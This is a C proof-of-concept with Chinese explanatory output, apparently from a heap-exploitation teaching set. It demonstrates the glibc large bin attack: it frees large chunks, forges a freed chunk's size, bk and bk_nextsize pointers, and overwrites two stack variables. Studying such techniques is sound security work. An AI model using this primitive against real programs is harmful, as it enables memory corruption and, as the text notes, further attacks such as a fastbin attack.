1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
|
#include<stdio.h> #include<stdlib.h> #include<assert.h> int main() { fprintf(stderr, "这个文件展示的是large bin attack,这个攻击是通过写一个比较大的无符号长整型值到栈上\n"); fprintf(stderr, "在实际中, large bin attack通常是为进一步的攻击做准备,例如覆盖libc中的全局变量global_max_fast,之后再进一步进行fastbin attack\n\n");
unsigned long stack_var1 = 0; unsigned long stack_var2 = 0;
fprintf(stderr, "让我们首先查看一下我们想要覆盖目标栈上的地址:\n"); fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x420); fprintf(stderr, "现在,我们在堆中分配第一个large chunk地址为: %p\n", p1 - 2);
fprintf(stderr, "并且分配另一个fastbin chunk为了避免在第一个分配到chunk处于释放的状态时,其与接下来申请的large chunk合并\n\n"); malloc(0x20);
unsigned long *p2 = malloc(0x500); fprintf(stderr, "此时,我们在堆块中申请了第二个,地址如下: %p\n", p2 - 2);
fprintf(stderr, "这时,我们再分配另一个fastbin chunk,为了继续避免第二个堆块在释放的状态中,与后一个large chunk合并\n\n"); malloc(0x20);
unsigned long *p3 = malloc(0x500); fprintf(stderr, "最后, 我们在堆中分配了第三个large chunk,其地址如下: %p\n", p3 - 2); fprintf(stderr, "我们再申请第三个fastbin chunk防止第三个lagre chunk释放后与top chunk合并\n\n"); malloc(0x20); free(p1); free(p2); fprintf(stderr, "现在我们释放第一个和第二个large chunk,它们将被插入到unsorted bin中:" " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90); fprintf(stderr, "现在,我们分配一个chunk,这个chunk的大小,要比被释放的第一个large chunk更小,这样我们使用malloc申请的时候就会从first large chunk切割内存分配给我们申请的堆块.分配过后first large chunk仍然还在unsorted中,但是被释放的第二个large chunk已经被放入到了large bin链表中,现在unsroted_bin中结构如下:[ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3); fprintf(stderr, "现在,我们释放第三个large chunk,此时它将被插入到unsorted bin中:[ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
fprintf(stderr, "现在模拟一个能修改第二个被释放的large chunk的size位、bk指针、bk_nextsize指针\n"); fprintf(stderr, "总的来说, 我们减少被释放的第二个large chunk的size位,迫使malloc插入第三个被释放的large chunk位于large bin链表的头部.为了覆盖栈上的值,我们设置bk指针为我们stack_var1-0x10字节的地址,设置bk_nextsize为stack_var2-0x20字节的地址\n\n");
p2[-1] = 0x3f1; p2[0] = 0; p2[2] = 0; p2[1] = (unsigned long)(&stack_var1 - 2); p2[3] = (unsigned long)(&stack_var2 - 4);
malloc(0x90); fprintf(stderr, "让我们再次分配,此时被释放的第三个large chunk正在被插入到large bin链表中,在这段时间中,目标应该已经被重新赋值了:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1); fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
assert(stack_var1 != 0); assert(stack_var2 != 0);
return 0; }
|